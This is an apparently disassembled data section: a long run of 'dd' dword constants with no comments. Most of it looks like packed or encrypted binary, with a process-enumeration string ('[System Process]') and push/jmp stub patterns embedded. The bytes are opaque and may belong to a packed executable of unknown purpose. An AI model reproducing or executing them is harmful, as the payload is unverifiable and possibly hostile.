		dd 0FE001894h, 0B64F6EBFh, 62BEAF3h, 0BE9EC254h, 530479C3h
		dd 16316h, 7A5F3C00h, 3A3B96A2h, 4B307B47h, 9A4A4578h
		dd 0A5CC1043h, 0F23F6CD7h, 4656B18Ah, 4B21468Dh, 49180FE4h
		dd 55582471h, 0F355DB87h, 0DF1053FFh, 2C4F9CABh, 217239F0h
		dd 18B34393h, 0B434BD41h, 0D14FE09Dh, 33F54Bh, 585D0000h
		dd 690364ABh, 49184166h, 8C44B60Fh, 4792E154h, 0A9372019h
		dd 0A354738h, 0D413A871h, 60B44095h, 9E411825h,	0FF7295D3h
		dd 0DA4BD1BDh, 0BEh, 3A057740h,	37BAC4E9h, 10454553h, 335B945Ah
		dd 67B4D514h, 0BBFA2B18h, 599A59C2h, 54887034h,	0B790FC31h
		dd 0F8434966h, 8B8891h,	8DD31243h, 3A4F78FBh, 0AC97E547h
		dd 2414E4Bh, 57A4B5DEh,	62ED9D24h, 0C278B603h, 483B5D83h
		dd 0E9919EFBh, 59D3065Ah, 491EAF3Fh, 317E9B12h,	8EADFE4Dh
		dd 8CF23F52h, 236B54BFh, 94855224h, 0BF88F5B9h,	3FCA0h
		dd 241F6E00h, 88B7C4CDh, 0F04F3061h, 66E1A899h,	0CF7C020Fh
		dd 69A242A4h, 0C2CF2625h, 3F608BB8h, 0AA97FE49h, 0C70E59E2h
		dd 0EFAEFAB2h, 8F43411Dh, 1EE65F97h, 710ADE23h,	0EF1C9DE2h
		dd 5A257816h, 0B493FB06h, 1F28545Dh, 5775EF4h, 3B78801Ch
		dd 1E9D473Ah, 1B618EDFh, 0C1CAC720h, 93355E82h,	473A3B40h
		dd 4F3C8172h, 0C458B1F0h, 49181B3Bh, 0E4BEC9E4h, 0DD3A0577h
		dd 0C4E6A464h, 3ACA0028h, 3DC6F547h, 4D930203h,	346ADB38h
		dd 19B5CC49h, 0C8B4FD23h, 6F1D1A7Fh, 386487D4h,	0C10EC5D7h
		dd 677FF4A8h, 8D204918h, 16788C58h, 0DB864118h,	0AAF76A9Dh
		dd 4AC24BD1h, 0F5000000h, 1ECC1C90h, 8A214118h,	0AB58BE56h
		dd 3B9EAA42h, 3873473Ah, 0BA517843h, 0F235F097h, 3AD40795h
		dd 72394918h, 0E104AC15h, 54386408h, 0BAE61926h, 788DD163h
		dd 1E734118h, 86DA6911h, 570A3DBBh, 624BD198h, 0F8h, 3D7A5FA8h
		dd 1A2EFE4Dh, 0BB473A3Bh, 0F9ABEA79h, 2D80B11Ah, 79C2CAF7h
		dd 0C8770754h, 211A62AFh, 70CFBFFCh, 3444D831h,	0D9473A9Eh
		dd 1A7F8ED2h, 8CD16E1Dh, 86F63361h, 9A6B68BDh, 0A89C0A44h
		dd 7227E1Ch, 0E1A3CA75h, 473A900Eh, 5BB28DFFh, 0FC1D2656h
		dd 4007FE0Bh, 1341BBBFh, 0FC808DCAh, 8FB1D43h, 0A3795EBBh
		dd 473A7F97h, 7347897Ah, 0B911ADFDh, 43F4986h, 94894D7h
		dd 18A11893h, 370C0549h, 0EE592FA8h, 57F46F15h,	0E89BFD14h
		dd 0AEAE7E9Bh, 0A34F3C86h, 0DCA2EF08h, 731B046Fh, 942B22D4h
		dd 0E536EF96h, 24C1Ah, 74CFBE00h, 0D867141Dh, 40FF80B1h
		dd 0B691F829h, 1F2C525Fh, 0B9F2F2F4h, 121F76D5h, 8FB0DB68h
		dd 0FA274EF9h, 975EA992h, 0EE1E2AC2h, 5FF3411Dh, 380777C7h
		dd 1622FADFh, 0FB473A3Bh, 3E636CB0h, 0B28DFB4Eh, 73191673h
		dd 0D34B94C8h, 216AAB58h, 73B2F122h, 2F7B3116h,	0C2473A3Bh
		dd 0CA1E8EEBh, 2F473A3Bh, 6B01508Ch, 49184178h,	50B5E6D5h
		dd 3169B16Bh, 107C4118h, 7DA30A37h, 18319BABh, 7CFC6541h
		dd 0D1D21855h, 0CBBD4Bh, 0F3D80000h, 183D1139h,	6BA90441h
		dd 0CDE65FDBh, 5E7FADEEh, 0BCC0E937h, 0F8355283h, 3B7AAB94h
		dd 95B2DCE5h, 5EB3B440h, 0E0AC473Ah, 79030C67h,	8F789DCEh
		dd 20750C5h, 0B8D20ED6h, 896384CBh, 49185D3Eh, 0DAABCCEFh
		dd 1605C05Dh, 81C21E2Dh, 1A7FC4BFh, 0C536735h, 0F7C64118h
		dd 73F4A8A9h, 0C44F3C98h, 842C2A03h, 81DF6CD9h,	0B7C42588h
		dd 201178C7h, 0B619E15Eh, 27EF97DBh, 13F0B16h, 0DCA10000h
		dd 74070863h, 0C73BCD7h, 9EEBD43Fh, 39454AA5h, 0E587E30Ah
		dd 0A65E2ACh, 0BFD67505h, 0D23D0672h, 4DA49FEDh, 1327F582h
		dd 6411DEDh, 777D050h, 0A8FD4636h, 0FE234A8Dh, 77D4BB8Eh
		dd 0AE20726h, 473A3BFEh, 0E599813h, 3A057794h, 8FB8C4E9h
		dd 105F1464h, 77D4BAF7h, 0B8D90726h, 1B80E4E4h,	25426949h
		dd 0F9019BC0h, 1C411DF0h, 0F0BBCF91h, 5F5E411Dh, 929FE401h
		dd 0E60351EAh, 7542AD96h, 27F5AB8Ch, 0CF10C9E6h, 0F63E0B21h
		dd 6502FB3Ah, 19BACD6Dh, 0C1CBF62Ah, 0D097DC3Ch, 8ACDC463h
		dd 0F121946Dh, 5CDEC8BDh, 1C57E500h, 4A12D7A6h,	0A1EB49AFh
		dd 3A424FA6h, 0EA9FDC01h, 0DC1F2C5Fh, 2D16628Fh, 0FC5907F8h
		dd 4F68FBE3h, 98CD7602h, 0BB6F8970h, 830B0891h,	579198C4h
		dd 77D0B8F5h, 90D90726h, 15325DECh, 515EBBD2h, 59613B2Ah
		dd 0BC3F9B48h, 406DBEF1h, 92CE013Eh, 0FD1A2557h, 2273CCB0h
		dd 48237725h, 0E7D63F9Bh, 282D78A4h, 71A29DEBh,	2211EE32h
		dd 40000000h, 0C5BAA87h, 0E63A374Ch, 0A27A5F4Eh, 473A3B96h
		dd 0F54E3E7Bh, 0B94285A0h, 852EBBF8h, 64E13F1Bh, 3D0677A2h
		dd 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h,	0CC7B0328h
		dd 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 8952696Fh,	4C281E2h
		dd 83000000h, 148704EAh, 24248B24h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 8953240Ch, 4C381E3h, 83000000h
		dd 1C8704EBh, 2C895C24h, 64FFB924h, 0F1817204h,	50EB6EDFh
		dd 43D98741h, 0E981D987h, 30644455h, 7095E181h,	0E98174B6h
		dd 6A5A74F4h, 42D968h, 24248900h, 4240483h, 3481515Dh
		dd 693F1324h, 8458F20h,	8BB53h,	0EB010000h, 3F133381h
		dd 0FF5B2069h, 815D2434h, 4C4h,	240C8B00h, 5E08950h, 4
		dd 8704C083h, 0E95C2404h, 0FFFAAA03h, 0FD6FF405h, 0E1738149h
		dd 0B84D5212h, 627D83Ah, 0E0FFC503h, 236B1E1Bh,	797B0EA4h
		dd 6FE4D174h, 7106889Dh, 3994DA2Ah, 5855A2Dh, 6FD9C565h
		dd 6C7A4C04h, 58CCD08h,	281BEABBh, 0BF2F07Ah, 1C945B3Ch
		dd 0D93C0ADh, 37A66949h, 30E52551h, 27A24CC0h, 63A65E27h
		dd 73307B35h, 1147FB43h, 7636C5E7h, 1F251A94h, 7BEA8FFAh
		dd 38F009EEh, 43EE8BC8h, 58872EBFh, 133F7660h, 35DC376Eh
		dd 3A2123E0h, 32FF4F96h, 16CE9h, 0D85B2B00h, 0DF6FFC20h
		dd 234B9287h, 0FE5FB04Fh, 0F551BB08h, 0F651B851h, 0FD5FB308h
		dd 0D6768F51h, 84238638h, 7F770851h, 7BC36CD3h,	0C3B19C9Fh
		dd 0B2130750h, 12851h, 0
		dd 400h, 2 dup(0)
		dd 2F00h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 40h dup(0)
		dd 15C8E900h, 0D0680000h, 0E90627DCh, 0FFFB7399h, 27DD9568h
		dd 738FE906h, 5468FFFBh, 0E90627DEh, 0FFFB7385h, 27DF5E68h
		dd 737BE906h, 2668FFFBh, 0E90627E1h, 0FFFB7371h, 27E2B468h
		dd 7367E906h, 7968FFFBh, 0E90627E3h, 0FFFB735Dh, 27E45568h
		dd 7353E906h, 0A68FFFBh, 0E90627E6h, 0FFFB7349h, 27E6A468h
		dd 733FE906h, 5D68FFFBh, 0E90627E7h, 0FFFB7335h, 27E7D368h
		dd 732BE906h, 5C68FFFBh, 0E90627E9h, 0FFFB7321h, 27EE1768h
		dd 7317E906h, 3668FFFBh, 0E90627EFh, 0FFFB730Dh, 790DCCD3h
		dd 0B5519CE4h, 0CD996CA8h, 1AA03570h, 54F6F707h, 67B7A8B1h
		dd 3979C466h, 40F12A8h,	0CDD429FDh, 46A67A00h, 62ED2C0Fh
		dd 0B702ECCDh, 0CDD55AA7h, 8CAF2604h, 8CD38AC8h, 6C60FA91h
		dd 899EEF80h, 0FA2C2AA5h, 0DE9694A6h, 592DC343h, 6295B535h
		dd 0CC5BD120h, 947A482h, 84494805h, 0B7B46DE6h,	0AB8EC757h
		dd 6FD38A90h, 9657A7B0h, 7BB5DC8Ch, 0BFD9AC99h,	0A29B460h
		dd 7DD9AC99h, 0A11FA02Ah, 600ED146h, 3Eh, 8F26AAE9h, 782243B1h
		dd 7D220915h, 2612E72Eh, 0E1E87209h, 0D9ABECF3h, 513CE837h
		dd 0D9ABED82h, 9718A2F5h, 0ED1F629h, 817CA86h, 0C6085BB3h
		dd 0F38BDF98h, 888A4A9Fh, 0D9B6h, 5AA73B00h, 0E72AB797h
		dd 35112E1Ah, 8AC8795Ch, 0A062B9D3h, 0ED2B730Eh, 8AC7D1E4h
		dd 8A8851D3h, 0DB76CD7Bh, 5DA33E0Ch, 68FCB290h,	0C7E6F198h
		dd 0FF2AD38Ah, 6A77BA57h, 13DE23BEh, 0CCFE024Bh, 0F938D38Ah
		dd 0C6CB56F4h, 9D020D3Bh, 39D7BE8Ch, 0F9D9ACE8h, 4EF39822h
		dd 0E8607B12h, 45A0D9ACh, 0E7355CAEh, 2BDFD1A7h, 0A7FFDAB3h
		dd 0E403DFD1h, 906DFD49h, 0F2FF0295h, 0F052E927h, 868A111Dh
		dd 0DB76CD7Bh, 0E9F03E03h, 100AC107h, 0A735EBBAh, 1322h
		dd 5A12877h, 51F5F838h,	693DC8CCh, 0A6449194h, 0F08A535Bh
		dd 0C3CBD415h, 959D603Ah, 60A3BE4Ch, 2968F591h,	0E27A06A4h
		dd 62EBD0EBh, 0BE650CDh, 7CAD7AAh, 0FF3C421Fh, 0D12460B3h
		dd 9A31CC5Bh, 0A9347DC0h, 70D1601Dh, 0F4E2EB73h, 34D9ACD1h
		dd 0D6AB33E9h, 360D3BCEh, 0D1AE85ECh, 0CE01D9ACh, 10FDA344h
		dd 0A2C40ED1h, 4D000000h, 0CDD55AA7h, 0D9D6904h, 8AC87144h
		dd 0A86AB1D3h, 0AA337B16h, 0CD0B177Eh, 0EC35D38Ah, 0B9F845E1h
		dd 0AA17F834h, 0F329B8FBh, 0D4BD8924h, 0D9ACE836h, 0F49F2FFAh
		dd 85CC5E4Bh, 0DFD1A466h, 12EF7FAAh, 25687E0Ch,	0F795AE6h
		dd 4757AA70h, 0C272BE86h, 968CBA10h, 125D00h, 0ECED3200h
		dd 30BDC35Eh, 788D976Ah, 83565FA2h, 0D11866FBh,	908F5035h
		dd 0A2BF4F8Eh, 68F59160h, 3D00DA2Bh, 815DE9F4h,	0EB05D0B9h
		dd 2D05CD62h, 9657A750h, 0EA2869F4h, 8AC7D8E3h,	85CD58D3h
		dd 9B5D9A83h, 53EB860Bh, 0E226AAAEh, 88F3E497h,	969B76DCh
		dd 0B409DD4Bh, 90AF6570h, 0FD2DFB2h, 57A2E27Fh,	0FC0100D9h
		dd 450BEC2Eh, 167FCFDCh, 0D9AC0248h, 47885DC8h,	0D1363371h
		dd 0C72744FDh, 584FAC8Eh, 7BB16CD7h, 203A2798h,	7DCE48A9h
		dd 0C95DC8DDh, 0E6EF2D74h, 0DD7DCDD3h, 7F8A8A57h, 0B3DF6AC1h
		dd 86AEF0AAh, 4E1CAB13h, 2261AEF3h, 33CE65D3h, 0A528F731h
		dd 850B09BFh, 119Eh, 992DACF3h,	0D5717C84h, 0EDB94C48h
		dd 3AC01510h, 7416D727h, 47574891h, 1919E486h, 0E42F32C8h
		dd 0ADF4491Dh, 66C69A20h, 62EA4C6Fh, 9762CCCDh,	0B7975AA7h
		dd 0C88BAE27h, 6BB5D38Ah, 6A74B366h, 0BE035507h, 43FD21C2h
		dd 8DF15FC0h, 0D637C3EEh, 0DEB79722h, 0D9AC845Ch, 58A541DCh
		dd 6CBD659h, 0ED52BD6Bh, 0E1676EFCh, 16DFD45Dh,	0C379888Bh
		dd 5009AE74h, 0B978D50h, 48FFFC9h, 0DD877E0h, 0CCD4A939h
		dd 760C90B2h, 4712BF31h, 77A6511Bh, 0C14D0862h,	22F8050Ch
		dd 0FCBCD2DFh, 8FA6DA29h, 70804D3h, 0D1BD899Ah,	0ECA5856h
		dd 4B1B3BABh, 57626BFBh, 0DBDFD4B0h, 6907024Ch,	0A0183D03h
		dd 9BAD1B62h, 0B66DE5FCh, 5C8C954h, 80C9161h, 75BC51FDh
		dd 5828BC68h, 0FC9C2631h, 2D3D0E5h, 2932100Fh, 8AAD2478h
		dd 8EE5FC9Ch, 9BA2B5DCh, 0BB66E5FCh, 9CF551ECh,	0EC1EB1EAh
		dd 3D71F32Eh, 0D3AEC53Dh, 10947F5Dh, 0B6F90000h, 868A9737h
		dd 565EA37Bh, 1F66FB83h, 0E12D30CAh, 46874218h,	0F6945559h
		dd 0CDE276Bh, 5BE3F231h, 9436BBC6h, 3E1970C8h, 0C2CD62E9h
		dd 57A79914h, 9964F496h, 62C95598h, 5FA2EEBDh, 694C05E1h
		dd 0A9D38AC8h, 9FBBA772h, 56A8B913h, 0E7EE7C0Bh, 0D9AC01D9h
		dd 4792936Eh, 7D072C9h,	0FC8B565Ah, 6568A940h, 0EA357CC1h
		dd 1FEF25A4h, 0AC026376h, 0AD78A7D9h, 88391A16h, 5F33839Bh
		dd 0C5CC524Ch, 56CB638h, 0DFCE2AA3h, 0F58CB867h, 1DF420A9h
		dd 6E51CF16h, 0FE67913Bh, 0C55821ABh, 7F1230B9h, 35AD1C32h
		dd 3A634FEDh, 2319E42Dh, 5DAD7914h, 863D81CDh, 0D15A2E13h
		dd 0CDFDA98Ch, 90B269DFh, 335A168Bh, 0DFCDFE28h, 84663DE8h
		dd 0EFFDEFCDh, 38F433E5h, 899D60A1h, 0E2AB26C5h, 35195834h
		dd 5CA5EE7Bh, 0F90C09E0h, 666BB643h, 0EA048EC1h, 99CB7126h
		dd 0AA233B28h, 0EC128194h, 60FD8994h, 7D60DC21h, 0EC129156h
		dd 25AC3CCEh, 0EC129112h, 0E23C26DDh, 79DC30F3h, 9D2760A2h
		dd 790DD0D1h, 0CA509DE4h, 6DDB2E77h, 3A1D74D6h,	0FEEC1227h
		dd 0C24DE323h, 764F035Dh, 5B77D267h, 0FD98A3A0h, 26AFEC11h
		dd 0EC11FD13h, 5C050817h, 64FD8855h, 0CC5BD11Ch, 3ABCD531h
		dd 0FEF23416h, 1DC1D61h, 6089565h, 77BD5FC7h, 8B939031h
		dd 5BEF8CC2h, 0CBD38CF8h, 49D67702h, 5888445h, 0F85BEF2Eh
		dd 1AE001BEh, 83C8DD73h, 64C65DFEh, 0B1559899h,	829865ACh
		dd 0C9805B32h, 6580FE83h, 6B6707B9h, 0BBBC7064h, 0CDFAE438h
		dd 9E7605A4h, 5EA03DE1h, 4A4BD4DDh, 0D17E0BFh, 0FDC32DF8h
		dd 0F9CAF25h, 0ECC8311h, 7E810000h, 4E52AF7Fh, 1E66FB83h
		dd 0E72E33CBh, 0A9F54812h, 7EFF9A20h, 0EDC1D61h, 44E6EF33h
		dd 932BBAF9h, 0AC7E838Eh, 76410810h, 0BACD62E7h, 0DAAAE15Ch
		dd 0ABA83D47h, 0D38AC890h, 0D4899590h, 3B7CB0CAh, 9C99152h
		dd 7C9A17F7h, 0C79212B1h, 0AD7DA27h, 9964AD30h,	236EFBB5h
		dd 12B962DEh, 0F8050C68h, 9DA61422h, 0A66F14F3h, 0F2000001h
		dd 0A8B3DAAAh, 68D38AC7h, 915CA4BDh, 0CD1D08Dh,	925BA33Eh
		dd 0E5646574h, 7AD8E8EDh, 0AAE42DC4h, 526EACA8h, 0D268079Bh
		dd 79288839h, 9C7D11C5h, 0A8B3DA20h, 68D38ABBh,	4D04E6BDh
		dd 0D9ACC543h, 7FC258C7h, 0D3E6EF35h, 57D9ACC4h, 6A073DC8h
		dd 0D463D928h, 835B1539h, 0C57F5A33h, 78B9D9ACh, 0AD60BF75h
		dd 0EEC5AC76h, 8D9ACC4h, 0B34EFA0Bh, 97AA666Fh,	0EABCBA40h
		dd 12882FD5h, 0D30ED11Ah, 3Ah, 656CB60Bh, 0BFB290AFh, 0EB7370D1h
		dd 0ACD1F4E2h, 0C84F03D9h, 31AF188Eh, 0FE25F250h, 0A7744342h
		dd 0B0C7D9ADh, 3C37650Ah, 0ABFE0ED0h, 6E000000h, 9AE4F79Eh
		dd 0F924D9ADh, 5AA7D855h, 94DBB797h, 14150C79h,	17E29C86h
		dd 9964C607h, 40DF5598h, 4C552CC2h, 9B36BFC3h, 0CDD4ADh
		dd 0CB0F137Ah, 0E829D38Ah, 158A41E5h, 0AE5F3614h, 45D9AF88h
		dd 0A32AAD09h, 61ADCD7Ah, 63F34BD6h, 1747AA6Fh,	0F64DFB0Eh
		dd 48C5A7E8h, 0C60717CAh, 14D5D924h, 721E0C2Ch,	4E4CC2B0h
		dd 0D3Eh, 39CD0C13h, 7511DC24h,	8D59ACE8h, 0DA6075B0h
		dd 14B63747h, 0A7F7E871h, 79B98426h, 444FD268h,	0D14E9BDh
		dd 86663AC0h, 62E5ECCFh, 77C22CCDh, 0F49657A7h,	55989964h
		dd 0C00D14C9h, 5AA7473Ah, 0C1C09997h, 0E9E0327Eh, 0D38AC7CEh
		dd 0C38D752h, 7FC29837h, 0EE71AF32h, 0A32A3031h, 0D9ACE91Dh
		dd 5424061Dh, 0E8AA8DC4h, 0B36ED9ACh, 0ACE98752h, 0B69C8BD9h
		dd 0F63B8696h, 0C9101EEBh, 785EC453h, 6CEh, 9657A781h
		dd 0C81C3B9Ah, 0EF50D38Ah, 0D36168F2h, 60D9B2A1h, 2016FC90h
		dd 0FA0E1170h, 0B249BE99h, 4AA742D9h, 0C097BF4Ah, 357CC125h
		dd 20F12A8h, 66A841FFh,	558B9D67h, 0E75DB071h, 0C79F1h
		dd 8D1DE00h, 5CA1EF72h,	6471B38Eh, 0AF3A7BC6h, 0FDFC021Fh
		dd 0BCA3AC29h, 4ED36B72h, 14E9BD44h, 0D924C60Fh, 0AD7115D8h
		dd 0E521345Dh, 9E1CD62h, 9657A7BCh, 0A52869F4h,	428F926Fh
		dd 0EAF33BD6h, 965FA33Eh, 0CA70879Ah, 0A42E7DACh, 6604C9C8h
		dd 0F31B6A50h, 26AB14h,	0C3530000h, 8ABBAF8Ah, 92FB73D3h
		dd 0D38ABBC7h, 1D01DC4Bh, 0D3795320h, 93C1D38Ah, 0FFFFFDA4h
		dd 34BDC65Bh, 0EE323F8h, 8AC88453h, 4A57C8D3h, 0D2276DF0h
		dd 63F99070h, 90D9B2A1h, 5AF8010Dh, 0C88466BDh,	8853DDFFh
		dd 5FA6B39Bh, 9D819E8Ah, 0AC3170CDh, 0D7BE0E1Eh, 0D9B23D04h
		dd 58351904h, 3BCED659h, 839B360Dh, 31EFF23Eh, 0EB86381Ah
		dd 0FC92E9A3h, 0C6A5D5F6h, 0BDDDC92Bh, 3DF3B071h, 0B9D5Fh
		dd 2CADF200h, 707D839Eh, 0B84D57AAh, 0C3161FE2h, 11D8263Bh
		dd 504F9075h, 62FF8F4Eh, 2835D120h, 0FD401AEBh,	0C19D29B4h
		dd 0E4451079h, 6DC5CD62h, 975AA790h, 8BAE27B7h,	8FD38AC8h
		dd 65FCB290h, 0A05BD11Ch, 0FE036F15h, 8F966BF3h, 3E48D87Ah
		dd 14F31B80h, 0D41h, 7953C800h,	0C1D38AD3h, 0FFFCDB93h
		dd 0D7AA36FFh, 371C06C7h, 464BD68Ah, 0C87F5ABBh, 6483D38Ah
		dd 32147DC9h, 0F6D9ACC9h, 0C290FD2Bh, 35D9ACC8h, 0E9D758E2h
		dd 280ED116h, 169h, 32054CDCh, 0F6D9ACD1h, 0AA16EB2Bh
		dd 1E04C9D7h, 8AC7D0B7h, 116C9BD3h, 0DEE36DA4h,	2F72EF03h
		dd 0B50818A2h, 9DAA666Bh, 8D5DCB1h, 750AB11Ch, 4140D38Ah
		dd 2FB2FFBBh, 524FF49Fh, 0FB060BE6h, 0ED3DE23h,	7514B312h
		dd 9767D38Ah, 7CB8070Ah, 3C45D269h, 66AC7BB1h, 0A6149B21h
		dd 6F14F36Ah, 105h, 975AA7F2h, 8FC1C099h, 7B675669h, 0CB932E20h
		dd 0DE319F00h, 1386F2CAh, 37EDF031h, 54B64D18h,	0AC4FF33Dh
		dd 12E837D9h, 0D17D848Fh, 4F9FB61Fh, 0DF10D9ACh, 8F0CB235h
		dd 25D50ED1h, 5C000000h, 0EB7370D1h, 747D861Bh,	0D211C7AEh
		dd 0A11D9ACh, 0D1A0B71Eh, 0DC13D9ACh, 110BB136h, 94CA0ED1h
		dd 5F000000h, 99975AA7h, 13FBEC0h, 46A42968h, 2094260Ah
		dd 56FC018Bh, 3DC0C198h, 40099969h, 0D38A5975h,	8F916EB5h
		dd 0D579D642h, 8A7138CCh, 2C72CFD3h, 7AD877ADh,	0B7579AE7h
		dd 0FD0463DCh, 88C125F0h, 0D9AF2DDFh, 9B66C423h, 0ADB04A93h
		dd 0A2989861h, 2CB072B1h, 9E8E0F6h, 62AD0000h, 327EC39Bh
		dd 2021FAFh, 0CBCA57F7h, 8D916C3Eh, 12DBBE4Ch, 22F8010Dh
		dd 7802D3DFh, 0B7579EE5h, 0C09A67AAh, 92A52C3Ch, 96CD62E2h
		dd 57A7CDB8h, 2869F496h, 0A75C01A5h, 0C099975Ah, 686E3CC1h
		dd 3B6h, 2DDB9891h, 0FE977774h,	0D9B2A171h, 3AD16AB1h
		dd 0CF866485h, 0DFD4BC6Dh, 0DBBA76ADh, 0DFD4BBFCh, 2262FF4Fh
		dd 0B2584FD7h, 0A9238F0Dh, 3415608h, 53DB0000h,	0D38AC884h
		dd 8AC87A4Ah, 5C4DF2D3h, 0DB1987CEh, 219D9ACh, 74C64E22h
		dd 6C62A0B0h, 94Eh, 29FDFC03h, 6501CCD4h, 0BD499C98h, 0CA9065A0h
		dd 4A62777h, 97E7F841h,	69A9B456h, 347FC298h, 0FD0419ADh
		dd 0B6962AF0h, 62E1FCDFh, 67D23CCDh, 5CCD7AAh, 7F12300Fh
		dd 0EE71AF32h, 0A32A3031h, 0D9B2A231h, 4DD02AF1h, 0B696BC45h
		dd 0E74764DDh, 0DA7B68EEh, 0BAF39FDFh, 200E1E28h, 1722ABB3h
		dd 1BDFDA38h, 0AA71060Ch, 3CC5CD50h, 0C44F532Eh, 22F937BEh
		dd 80829997h, 39924980h, 62DADFDAh, 565CA145h, 99F5918Fh
		dd 0ED14C234h, 0D9B49E1Ah, 341F15D8h, 3C8C9E8Bh, 401225ACh
		dd 0B16DFDAh, 6D5CA20Bh, 3DCE5FCh, 0E946F2FBh, 7088D252h
		dd 44FAA427h, 89556h, 34B5FA00h, 78858B96h, 80555FA2h
		dd 0CB1E67FAh, 19E02E33h, 5847884Dh, 6AF79756h,	300DD928h
		dd 0C558E2F3h, 0C99531BCh, 0E13D1871h, 15FDCD62h, 7370D198h
		dd 0A174E2EBh, 3383D9B2h, 0B2A17F5Ah, 7578B9D9h, 76AD60BFh
		dd 0E1C0BACh, 0C4666FB3h, 7CA83979h, 293D2E93h,	0DA7B2EA0h
		dd 0F937F2DFh, 0A2B8A916h, 0FC7E3D2Bh, 0DE26FDE5h, 0A42761BEh
		dd 1F7C52D0h, 74000008h, 518A22Bh, 0C954F6FBh, 916C3ECBh
		dd 58A54194h, 12F79756h, 1C8D6C9h, 4B9A9865h, 9C65AEB3h
		dd 0A32E73CEh, 0EEE7471Bh, 0CD62E0CBh, 0A716E34Fh, 0C099975Ah
		dd 3F1A73C1h, 0F9D38AC8h, 3FEA29BCh, 2ECB6AD3h,	0C590882Fh
		dd 83099C4Fh, 2687563Ah, 0F1844E1Bh, 0D4597C15h, 42D9D389h
		dd 0F9040DC0h, 57B1DD2Dh, 29BCF869h, 763A24F3h,	2563A356h
		dd 14F3DB77h, 176BEh, 0CED3AE00h, 143E1503h, 0B3DAAA19h
		dd 0D38AC7A8h, 8A91BD68h, 5A361415h, 2D6691A0h,	54341E6Fh
		dd 0AC10973Dh, 0D4D1ACD9h, 163C0B01h, 676EDA41h, 0D9AC1050h
		dd 0E25EABEAh, 4EFA0B17h, 47711B88h, 41E66CA3h,	0ED1CF5Bh
		dd 12A9Ah, 5AA72F00h, 0C1C09997h, 3CE56E3Ch, 0EE2CB09Ch
		dd 0D5D076B1h, 603F1400h, 161871D5h, 1AD9ABEBh,	0A58C110Fh
		dd 16D9ABEAh, 6B43BC1h,	0CF0ED1F4h, 2Ah, 3170D152h, 0F654E3F2h
		dd 0ACD1D99Fh, 56C259D9h, 0ACD2684Fh, 0FE84DBD9h, 0D1114379h
		dd 1211EC0Eh, 54FE55C3h, 0B4DAh, 5AA76F00h, 0BEC09997h
		dd 2968013Fh, 0F4089417h, 0B954416Bh, 69ABF683h, 8A995560h
		dd 4801D5D3h, 0D38A996Dh, 0CDB76ADh, 0B57B177Eh, 7C85D38Ah
		dd 813ED571h, 1AF39A60h, 29D9AF72h, 82CB5154h, 0D9AF71B7h
		dd 1B11AC7Bh, 722F0A43h, 34F3D9AFh, 7E2B599h, 95545A27h
		dd 0DB226CF1h, 727D3B59h, 0F9DF55B0h, 696h, 9135B4FBh
		dd 0AD79848Ch, 0E5815450h, 32C81D18h, 4C1EDF2Fh, 4F5F4089h
		dd 2161FC8Eh, 0EC370AD0h, 0B5FC41E5h, 7ECE9228h, 62DF4417h
		dd 9F6AC4CDh, 0F49657A7h, 4E9B9964h, 0F5FC07D2h, 0C955E03Fh
		dd 0C68F0D14h, 0D38AC7F3h, 895DE837h, 975AA7D4h, 7EC1C099h
		dd 3614A336h, 0E4C82A5Ah, 0DB7B6C8Eh, 440D4Bh, 98B40000h
		dd 9341FEAAh, 0C5CCB8E3h, 0A957DE38h, 3059AD78h, 0D9B28ABCh
		dd 0A04A17Ch, 0B9656CB7h, 8F30B61Bh, 8EC18892h,	92DFDA64h
		dd 0AE27B797h, 0DFDA648Bh, 6406D1B8h, 1F0ADFDAh, 0E021ED38h
		dd 3FE0h, 70D11900h, 78E2EB73h,	0B8D9ACE0h, 62EB76Dh, 0E6D9ACD0h
		dd 762B19A3h, 50C9175h,	0C38A5AF8h, 0DFCEE899h,	0A4B7DEAEh
		dd 64DFCEE7h, 27C295B9h, 982F8BC7h, 63A3C069h, 0AB6563A3h
		dd 9C000000h, 0F23170D1h, 0A859F650h, 0A67DCC48h, 2406DD6Ah
		dd 0B2661FADh, 0FA04E3D9h, 0F1497150h, 0EA5FAE9Dh, 0B79FB1B2h
		dd 0D7C56A10h, 1E0ECB3Ch, 6Eh, 3C70D1A3h, 8AC88255h, 0CC9B86D3h
		dd 0A1DA177Eh, 705ED9B2h, 0E67F40DBh, 0FC3AD16Eh, 344B735Eh
		dd 77A32F8Eh, 839B11D2h, 2CADF14Eh, 8EFAA0E6h, 373B0ECBh
		dd 4E000000h, 0EB7370D1h, 0B2A16EE2h, 4B77B2D9h, 3070C0E1h
		dd 9A9A77ADh, 8316D14Fh, 41674CF9h, 39B956E3h, 800A5D62h
		dd 0CB3FC1FFh, 8F936E0Eh
		dd 0D17DCA46h, 0D5Fh, 5953E200h, 0A1D38AE4h, 0FFFF19B3h
		dd 70D1D6FFh, 40E2EB73h, 0C0D9B2A1h, 367CC125h,	46C967AFh
		dd 1B72C8D9h, 0DFDA7AD8h, 0CC57CD58h, 9DF45653h, 0E6025427h
		dd 532E3CEBh, 27BA804Dh, 11E0ADBh, 0D9460D1Dh, 0C17F8A8Ah
		dd 2D1BEA28h, 5EAC7B16h, 0FB31C0C3h, 6F66E62Ch,	0EC2A2DE9h
		dd 9568F229h, 0AEA7478Eh, 8450D9BCh, 14B63B46h,	7475B904h
		dd 0F29B63B8h, 8450D9E7h, 0BB56FC2Bh, 0FF936B76h, 7A703AE0h
		dd 1CE52DCDh, 127C0B20h, 0E53B7BDFh, 34CA48C1h,	0EB37762Bh
		dd 48184A9h, 0CC9B01EEh, 0ABCD531h, 0E8A72E4h, 0E9382513h
		dd 740A1763h, 0EF78ADDEh, 6105D008h, 0D24E979Ch, 38F4F907h
		dd 878C11E9h, 0D2E5EC7Eh, 568A7350h, 0B65C4BCBh, 9228B9FAh
		dd 0C77D848Fh, 4F9AAE15h, 5BAAE9C5h, 0A2377EC3h, 0D575D976h
		dd 0CED7AA28h, 8FAA233Bh, 93D38AC8h, 0FFA58E94h, 0F8CB2851h
		dd 1CAB86C6h, 0CA484920h, 8A51B883h, 0B14042D3h, 0B269AC7Bh
		dd 77BA07E7h, 0BD61BE6Ah, 0B45E4D03h, 7717148Eh, 1C5AA7EAh
		dd 626FB10Ch, 4EB012A0h, 0E980BC45h, 29EF25A8h,	0B1A6D07Ah
